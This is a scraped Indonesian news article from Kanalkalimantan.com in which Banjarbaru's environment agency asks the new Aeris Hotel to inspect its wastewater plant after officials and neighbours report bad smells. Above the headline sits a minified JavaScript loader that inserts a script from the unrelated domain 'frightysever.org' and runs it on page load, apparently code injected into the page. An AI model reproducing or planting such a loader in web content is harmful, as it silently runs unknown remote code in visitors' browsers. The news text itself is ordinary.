(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Diduga Timbulkan Aroma Tak Sedap, DLH Banjarbaru Minta Aeris Hotel Cek IPAL


KANALKALIMANTAN.COM, BANJARBARU – Instalasi pengolahan air limbah milik Aeris Hotel diduga mengeluarkan aroma tak sedap.

Padahal hotel di Jalan Panglima Batur, Kelurahan Loktabat Utara, Kecamatan Banjarbaru Utara, baru dibuka tak lebih dari sepekan.

Aroma tak sedap itu diduga muncul setelah hotel melakukan soft opening pada 22 Mei 2024 lalu, dimana petugas Dinas Lingkungan Hidup (DLH) Kota Banjarbaru mencium aroma itu langsung saat menyambangi hotel tersebut beberapa waktu lalu.

“Namun kita belum tahu persis apakah itu aroma akibat Instalasi Pengolahan Air Limbah (IPAL) yang bermasalah atau apa, tapi memang di sekitar bagian dapur hotel ada sedikit mengeluarkan aroma,” ujar Kepala Dinas Lingkungan Hidup (DLH) Kota Banjarbaru, Sirajoni kepada Kanalkalimantan.com, Kamis (31/5/2024) siang.

Baca juga: Jembatan Perempatan Jalan Trikora Guntung Manggis Mulai Dikerjakan

Untuk saat ini, DLH Banjarbaru, kata dia, belum bisa memastikan penyebab timbulnya aroma tak sedap tersebut, karena saat pemeriksaan pertama tidak dilakukan secara detail. Petugas DLH hanya sekadar datang ke lokasi memastikan beberapa kegiatan yang berkaitan dengan lingkungan.

“Lalu kami memcium aroma itu. Bisa saja sampah yang tidak terbuang, mungkin juga bangkai tikus bisa, makanya kita harus verifikasi lagi. Kemarin kita juga sempat bertemu manajemen Aeris Hotel, kita sarankan untuk diperiksa lagi IPAL-nya, agar jangan sampai nanti ada masalah baru lagi,” jelas dia.

Dugaan sebagian bau pun disimpulkan sementara pihaknya, karena IPAL yang bermasalah saat proses akumulasi minyak lemak hingga sabun.

“Belum beroperasi penuh, namun sudah mulai menimbulkan aroma, jadi kita sampaikan kalau besok beroperasional masih menggunakan IPAL, kemungkinan akan bermasalah dan aroma itu akan merembet kemana-mana kasusnya,” tegasnya.

Baca juga: Kasus Penusukan Siswa SMAN 7 Banjarmasin, ABH Dijatuhi Hukuman Pembinaan 1 Tahun

Menurut Sirajoni, keterisian IPAL itu dihitung masih mampu menampung jika beberapa kamar saja yang beroperasi, tapi bila 80 kamar di hotel tersebut terisi penuh maka akan bermasalah.

Kendati demikian, kata dia, manajemen hotel saat ini sedang berproses mengatur IPAL yang semula berpedoman pada PP Nomor 27 Tahun 2012 tentang Izin Lingkungan, kemudian berubah ke PP Nomor 22 Tahun 2021 tentang Penyelenggaraan Perlindungan dan Pengelolaan Lingkungan Hidup.

“Karena dengan jumlah kamar di sana kapasitas IPAL belum mampu, pastinya akan mengawasi rutin karena dalam berita acara kita mewajibkan mereka mengubah aturan IPAL-nya,” sebut Sirajoni.

Selain karena IPAL yang diduga bermasalah, DLH Banjarbaru menyebutkan aroma tidak sedap tersebut bisa saja timbul akibat keteledoran operator yang mengatur operasional IPAL. Meski demikian lagi, pihaknya belum bisa menyimpulkan karena belum memiliki bukti yang kuat.

Baca juga: Pasrah Kios Dibongkar, Bangunan Liar di Atas Sungai Ditertibkan Satpol PP

Manajemen hotel diminta memeriksa kembali IPAL kemudian menyelesaikannya sebelum grand opening.

Sementara itu, Annisa, salah satu warga yang jarak rumah terpisah jalan Indragiri dengan hotel tersebut mengaku juga mulai mencium aroma tak sedap itu.

“Setelah soft opening itu, kalau pagi sekitar jam 6-7-an itu saat kita buka toko lumayan menyengat aromanya karena udaranya pagi masih fresh lalu tercampur aroma tak sedap itu, tapi siang sudah hilang,” ungkap Annisa saat diwawancarai, Kamis (30/5/2024) siang.

Warga sekitar yang tak ingin disebut nama juga mengatakan, pernah mencium aroma seperti comberan di dapur. Namun, aroma itu katanya, kadang muncul saat angin lewat kemudian 15 menit berselang hilang.

Baca juga: Wujudkan Keinginan Masyarakat, Saidi Mansyur Resmikan Pasar Hewan Karangintan

“Dikira kemarin itu kaya ada seperti bau tikus mati, tapi kita liat dan kita cek tidak ada apa-apa, awalnya kami mengira aroma bukan dari hotel tersebut,” jelas warga lainnya.

Kedua warga ini tercatat tinggal di RT 09, yang rumah persis di sebelah kiri hotel hanya terpisah jalan Indragiri. Kedua warga ini mengaku tak pernah mendapati pihak hotel yang meminta izin terkait pembangun hotel.

“Kami sejak hotel jadi ini gak ada tanda tangan apa-apa, tidak ada persetujuan segala macam warga, katanya RT sebelah sana saja, sebab kami beda RT, padahal kami yang bersebelahan langsung,” ungkap Annisa.

Di sisi lain, warga juga mengaku terganggu dengan operasional hotel saat mesin penghisap asap di bagian belakang hotel terus berbunyi setiap harinya. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Bupati Saidi Mansyur dan Jajaran Pemkab Banjar Peringati Maulid Nabi Muhammad SAW

KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More

4 jam ago

Relawan Muhidin-Hasnur ‘Panaskan Mesin’, Sepakat Tidak Lakukan Kampanye Hitam

KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More

7 jam ago

Kabar Alih Fungsi Minggu Raya, Ini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More

8 jam ago

Menjaga Tradisi Banjar Baayun Maulid di Masjid Tertua Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More

8 jam ago

PAFI PC Sorong: Mitra Setia dalam Pengembangan Profesi Farmasi

KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More

16 jam ago

Nurgita Tiyas Sapa Pedagang di Pasar Terapung Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More

1 hari ago

This website uses cookies.